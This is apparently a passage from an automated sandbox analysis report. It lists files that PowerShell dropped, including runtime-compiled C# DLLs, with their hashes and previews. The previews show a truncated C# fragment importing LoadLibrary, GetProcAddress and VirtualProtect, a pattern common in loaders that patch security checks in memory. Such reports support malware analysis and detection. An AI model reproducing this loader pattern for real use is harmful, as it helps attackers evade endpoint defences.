C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vul3rakp.xyg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w1xobp5v.fwu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wss01pfg.42g.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y4n5i1vm.m1z.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zr0z3lyy.obn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zyhikt0g.2a2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acg3vvmm\CSC2FE6764BCAE044C8A4E5F334AE1DCA7B.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.1028328420256677
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryehak7YnqqLGPN5Dlq5J:+RI+ycuZhNaakSyPNnqX
MD5:	CE7FD9BDFECCE82FDD3343681C14C190
SHA1:	FA2B92C1BC4F857DAFCDED1D9FE792DF518CBA20
SHA-256:	6B1B7BD9974316FF662591B8C2B44EA8EC9F7FAF086DD1933F1531E3717B6707
SHA-512:	65ABAD072B49558FE1CB91DD0EF8B251F4670FD95889E264294B5DCFC98EE48ED19DEA76181268B8F2C233B78AEB0E9F1ED6F78027FCD16675D05CF3147F4723
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...a.c.g.3.v.v.m.m...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...a.c.g.3.v.v.m.m...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\acg3vvmm\acg3vvmm.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	1140
Entropy (8bit):	4.751587839856729
Encrypted:	false
SSDEEP:	24:JjajwGHNw7+qFhL/+PS+oXG4mnF1D7ZTHtws4bx:JjaEGHNw7+Ib+6+oXZIF17Zrtws4bx
MD5:	FE35992F552A2057291C867108A5C2EB
SHA1:	3359CC35D11E68B353BBF06D03F1A9937E2689EE
SHA-256:	C6CD29B3B2981C29538DEB9B4445A10EC4993E93F058621F49E6AE294B4B6D1F
SHA-512:	8E639DB3A4696FFD380C495CF816B2571656D51AEA0B3DA75FBFC7151F1DE704FE1508FF61C95FC2AC2EF230FD6FEE48536C074D71F025675103B737128E9DFF
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..public class MyUtilityClass {. // Renamed class for clarity.. // Additional variables. private const string Kernel32Library = "kernel32";. . // Function declarations. [DllImport(Kernel32Library)]. public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);.. [DllImport(Kernel32Library)]. public static extern IntPtr LoadLibrary(string name);.. [DllImport(Kernel32Library)]. public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);.. // Additional method for clarity. public static IntPtr LoadLibraryAndGetProcAddress(string libraryName, string procName) {. IntPtr hModule = LoadLibrary(libraryName);. if (hModule == IntPtr.Zero) {. throw new Exception("Failed to load library: " + libraryName);. }.. IntPtr procAddress = GetProcAddress(hModule, procName);. if (procAddress == In

C:\Users\user\AppData\Local\Temp\acg3vvmm\acg3vvmm.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.216408708343461
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2wkn23f7aINaIqzxs7+AEszIwkn23f7aINaIP:p37Lvkmb6KRf4WZEif1
MD5:	0BF440B925793A3607F9C46671DAE872
SHA1:	1C51658ACB361E3640A82DF8CF35C60D6314527B
SHA-256:	C5B8EF92575E94541300F9B080C30628FD9028FDE5E48456C6C7BD0E7A22A74A
SHA-512:	CFC7BDD7D87CA38172CCEB7CAC31B0EF6B319EF1FE2E22148374440358BF07A0C41D18EDF6A7D0CD34A89A7148A8FE912672F1869F0E2FACE7A91026BAD84B56
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\acg3vvmm\acg3vvmm.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\acg3vvmm\acg3vvmm.0.cs"

C:\Users\user\AppData\Local\Temp\acg3vvmm\acg3vvmm.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.9827516821489315
Encrypted:	false
SSDEEP:	48:6GpLNvhfeRPBFL4KhSJY9CXumwIvV1ulaa3eq:lJhfeR5d1d8GMK
MD5:	8A27E277FDDA9F578D67E42F52215D45
SHA1:	35D5FBBDC87AF4DA4B6CC68231C7B210E068FB43
SHA-256:	CE5805D4E0B825D6D82DAF651FFE27C2509D75E899C6245B8149EB4DC7F8953E
SHA-512:	B90A0554E0BF20DDEBEA5F0B94CAADAA5A8D32C97D98E114A3149327581242A53F235C2A17C8AEDD0BFDF58D6FA16AEA3C652A381D0225FB1C80528D4F9E92E1
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...]..f...........!.................%... ...@....... ....................................@..................................%..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................%......H........ ...............................................................0..M........(......~....(....,.r...p.(....s....z..(......~....(....,.r3..p.(....s....z...(.......BSJB............v4.0.30319......l.......#~..$.......#Strings........x...#US.d.......#GUID...t.......#Blob...........W.........%3........................................................................6./.........5.....U.....\|......./...../...../.............................Q.=.......... M............ \.$...

C:\Users\user\AppData\Local\Temp\acg3vvmm\acg3vvmm.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (448), with CRLF, CR line terminators
Category:	modified
Size (bytes):	869
Entropy (8bit):	5.307648959776832
Encrypted:	false
SSDEEP:	24:KJBId3ka6KRfJEifQKax5DqBVKVrdFAMBJTH:Ckka6CJEuQK2DcVKdBJj
MD5:	456BAD7C8D200842B74505A028EEC982
SHA1:	6DADA7E00119BC2A058925B54CFE80274DB7953F
SHA-256:	DF60A93B462D0B3959884ABA9CD2D7D46133B8BDC1A85CEE6B7BCCF9993F47DA
SHA-512:	04FF5823F7C9F17EED27C7F045E11E1F55E812DEF12BB79031E477BF5650CC29D57A5C63F2BDBA92394FE947B80FFD19AC6D4F0C5343807123D6A44C1B01E24E
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\acg3vvmm\acg3vvmm.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\acg3vvmm\acg3vvmm.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\ajmbpkj3\CSCE65DF8D061034580A252685BFDC82FC.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.1144150797316397
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryAuqak7YnqqxubPN5Dlq5J:+RI+ycuZhNPqakS0bPNnqX
MD5:	2277C470D3E533F714AD528BF49F6420
SHA1:	FFAF9843EC8B43069B354472376E374ACA188E8A
SHA-256:	84C4E215A9740139071527B739F73EDAD3EA6372FA79BCF3B935ECE8D3B0704D
SHA-512:	5AC91073005DC5FB9F06C57A5AD25DA71B0149C805D713C7479AC694E55E64345282EFBAAACD09202914819D5A98FE67BD96BF20FE2238B4E6C1CC542465E07E
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...a.j.m.b.p.k.j.3...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...a.j.m.b.p.k.j.3...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\ajmbpkj3\ajmbpkj3.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	1140
Entropy (8bit):	4.751587839856729
Encrypted:	false
SSDEEP:	24:JjajwGHNw7+qFhL/+PS+oXG4mnF1D7ZTHtws4bx:JjaEGHNw7+Ib+6+oXZIF17Zrtws4bx
MD5:	FE35992F552A2057291C867108A5C2EB
SHA1:	3359CC35D11E68B353BBF06D03F1A9937E2689EE
SHA-256:	C6CD29B3B2981C29538DEB9B4445A10EC4993E93F058621F49E6AE294B4B6D1F
SHA-512:	8E639DB3A4696FFD380C495CF816B2571656D51AEA0B3DA75FBFC7151F1DE704FE1508FF61C95FC2AC2EF230FD6FEE48536C074D71F025675103B737128E9DFF
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..public class MyUtilityClass {. // Renamed class for clarity.. // Additional variables. private const string Kernel32Library = "kernel32";. . // Function declarations. [DllImport(Kernel32Library)]. public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);.. [DllImport(Kernel32Library)]. public static extern IntPtr LoadLibrary(string name);.. [DllImport(Kernel32Library)]. public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);.. // Additional method for clarity. public static IntPtr LoadLibraryAndGetProcAddress(string libraryName, string procName) {. IntPtr hModule = LoadLibrary(libraryName);. if (hModule == IntPtr.Zero) {. throw new Exception("Failed to load library: " + libraryName);. }.. IntPtr procAddress = GetProcAddress(hModule, procName);. if (procAddress == In

C:\Users\user\AppData\Local\Temp\ajmbpkj3\ajmbpkj3.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.236414256502247
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2wkn23fK7yGa0zxs7+AEszIwkn23fK7yGcH:p37Lvkmb6KRfTb0WZEifTt
MD5:	1916E71F0E295088D6D0826B25A49A74
SHA1:	7B2E49E140A2787733DF197033E812B326DF8CD1
SHA-256:	307530718824BC5EC42F4D25406A52BCC857212B76386AB40EA8541B08DD3607
SHA-512:	D9865AFD846588D9255054580F8A795B9FBCB166B41103F75353B2B5A171E231084D1450022E56401E609A517E75B50CB9443BE88DD22D4FF833F558ED0F496A
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\ajmbpkj3\ajmbpkj3.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\ajmbpkj3\ajmbpkj3.0.cs"

C:\Users\user\AppData\Local\Temp\ajmbpkj3\ajmbpkj3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.987908743954409
Encrypted:	false
SSDEEP:	48:6GpLNvhfeRPBFLqKhSJ4CXumwjvV1ulPqa30Rq:lJhfeR5dD3GdqK0
MD5:	1160D61E577C6EA7448CA04158589B0F
SHA1:	47A3CF02C0DCD0A3A65791933A820B911EB09F83
SHA-256:	DD2B51E0186EF1BE9EAD9EA7E163874702DE93533A8DB6947CBA79F38C527B57
SHA-512:	D233019F0F2E4110B20092C2B8B5BEF71CEC8A161B65DD92E2BB40C4F6438775A6C718A34326E82DE30F2C1D77164CDC961C725C3C8633B351CF14D6286DBF97
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...]..f...........!.................%... ...@....... ....................................@..................................%..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................%......H........ ...............................................................0..M........(......~....(....,.r...p.(....s....z..(......~....(....,.r3..p.(....s....z...(.......BSJB............v4.0.30319......l.......#~..$.......#Strings........x...#US.d.......#GUID...t.......#Blob...........W.........%3........................................................................6./.........5.....U.....\|......./...../...../.............................Q.=.......... M............ \.$...

C:\Users\user\AppData\Local\Temp\ajmbpkj3\ajmbpkj3.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (448), with CRLF, CR line terminators
Category:	modified
Size (bytes):	869
Entropy (8bit):	5.326956938836751
Encrypted:	false
SSDEEP:	24:KJBId3ka6KRffVEifsKax5DqBVKVrdFAMBJTH:Ckka6C9EusK2DcVKdBJj
MD5:	56EDEEA621F9791C7A6CF4E6FA68AE4C
SHA1:	6CC96E250009DC8D253E26B45ADB7826B204BCEA
SHA-256:	470FB39047C3FFB25DC7308A4DF3FD2BF8EBF80AE40E3215F5E452C81C6E92F9
SHA-512:	477F7012E29D42B90B5E7789E1E41997663A0CAE4F489CABF4DCA79679094D4A971BA0946E168D3BAF4B7029720ED56F0FA9DBAAA7ABB1847257A4B1C02A1AD2
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\ajmbpkj3\ajmbpkj3.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\ajmbpkj3\ajmbpkj3.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\ebaw0fq2\CSCA5D62A791D6B45AE841FF60C5C2CAA0.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.099827331524287
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryghak7YnqqhGPN5Dlq5J:+RI+ycuZhNuhakShGPNnqX
MD5:	F20711A73B6B9739AA2FD97AA6895489
SHA1:	691291C5DF090146A2394C786C89D2872A07D0D8
SHA-256:	45D2A0733F5637C0268FE53D1F518A55604199365D6563ED300B0CCAB917FB2A
SHA-512:	3A4F9ADADC3110CC8F090EF6CE5BC3B257FE1200A635B3B9F54D418C997A0C83D613EC439B7BB9539AC5826BAAED00BF49D79C5BA915DAE06D7C9C90F03E8640
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...e.b.a.w.0.f.q.2...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...e.b.a.w.0.f.q.2...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\ebaw0fq2\ebaw0fq2.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	1140
Entropy (8bit):	4.751587839856729
Encrypted:	false
SSDEEP:	24:JjajwGHNw7+qFhL/+PS+oXG4mnF1D7ZTHtws4bx:JjaEGHNw7+Ib+6+oXZIF17Zrtws4bx
MD5:	FE35992F552A2057291C867108A5C2EB
SHA1:	3359CC35D11E68B353BBF06D03F1A9937E2689EE
SHA-256:	C6CD29B3B2981C29538DEB9B4445A10EC4993E93F058621F49E6AE294B4B6D1F
SHA-512:	8E639DB3A4696FFD380C495CF816B2571656D51AEA0B3DA75FBFC7151F1DE704FE1508FF61C95FC2AC2EF230FD6FEE48536C074D71F025675103B737128E9DFF
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..public class MyUtilityClass {. // Renamed class for clarity.. // Additional variables. private const string Kernel32Library = "kernel32";. . // Function declarations. [DllImport(Kernel32Library)]. public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);.. [DllImport(Kernel32Library)]. public static extern IntPtr LoadLibrary(string name);.. [DllImport(Kernel32Library)]. public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);.. // Additional method for clarity. public static IntPtr LoadLibraryAndGetProcAddress(string libraryName, string procName) {. IntPtr hModule = LoadLibrary(libraryName);. if (hModule == IntPtr.Zero) {. throw new Exception("Failed to load library: " + libraryName);. }.. IntPtr procAddress = GetProcAddress(hModule, procName);. if (procAddress == In

C:\Users\user\AppData\Local\Temp\ebaw0fq2\ebaw0fq2.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.268030828911281
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2wkn23fewBHUzxs7+AEszIwkn23fewb:p37Lvkmb6KRfZGWZEifZb
MD5:	0D619F37470BAA930B5031FA20B8993E
SHA1:	2C4E0339E58F92582245660A2041BB63BAA5AB1F
SHA-256:	DD188265DD7881F28EC103CD4ADCE021C47C28757A06A2E45783642F3C428B53
SHA-512:	4E7EE2C98D76E9CEDFAF87542463C7F7712CEE46417002B2CE93A79B18B1F25973A5F5C847818B43BF14F5E9522D11E78CD8A733C3D23C8012573BADF5BECADF
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\ebaw0fq2\ebaw0fq2.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\ebaw0fq2\ebaw0fq2.0.cs"

C:\Users\user\AppData\Local\Temp\ebaw0fq2\ebaw0fq2.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.985516054673967
Encrypted:	false
SSDEEP:	48:6vpLNvhfeRPBFLbqKhSJmmwCXumwSaAvV1ul0a3Iq:gJhfeR5dbCwmaAGyK
MD5:	431D9643F8DBF2DD4A6113C678A31B0B
SHA1:	9315AF6D7E318082F897AC1B5A4AB70070F30E86
SHA-256:	84F8DC3A88686C64772D8E5EF663264AFE9650A9E3C76B54B4887CE4E7F279BD
SHA-512:	32B5A795AC8A6FE970670D7BAB73C22CF69735EC44AB3503550C89DF94B41ECAC0FD59F1DB791A07FB7CA1EBD16CECF4FAB7701EC13A124A1F28DF54AD1A35EE
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....f...........!.................%... ...@....... ....................................@..................................%..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................%......H........ ...............................................................0..M........(......~....(....,.r...p.(....s....z..(......~....(....,.r3..p.(....s....z...(.......BSJB............v4.0.30319......l.......#~..$.......#Strings........x...#US.d.......#GUID...t.......#Blob...........W.........%3........................................................................6./.........5.....U.....\|......./...../...../.............................Q.=.......... M............ \.$...

C:\Users\user\AppData\Local\Temp\ebaw0fq2\ebaw0fq2.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (448), with CRLF, CR line terminators
Category:	modified
Size (bytes):	869
Entropy (8bit):	5.338569471389705
Encrypted:	false
SSDEEP:	24:KJBId3ka6KRfZXEifZaKax5DqBVKVrdFAMBJTH:Ckka6CNEu8K2DcVKdBJj
MD5:	282B61A9BC7C746104906F9998040879
SHA1:	861C3539E85633C68FDDFFDCF0A99FB154B11A51
SHA-256:	C6BF92351E3E5AB0377FCAC6670B0DAB9D408D6C57D40B40FADCBBF9CD47267E
SHA-512:	F02CE305F4F365A24C4376550BE5C86C159AC89CADD30E90D0212FFC77C23F59DD0FDD0AF405E0598E8484B48EB746B045A7807DB729295D976F8C474D59DD81
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\ebaw0fq2\ebaw0fq2.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\ebaw0fq2\ebaw0fq2.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\ej40y3sl\CSCC31C8219248740B7B5892F735789A26B.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.085701037547032
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gry4YvNqak7YnqqJYvNbPN5Dlq5J:+RI+ycuZhNWANqakSJANbPNnqX
MD5:	5465EE22315BB51CE5171CEABDA69CD5
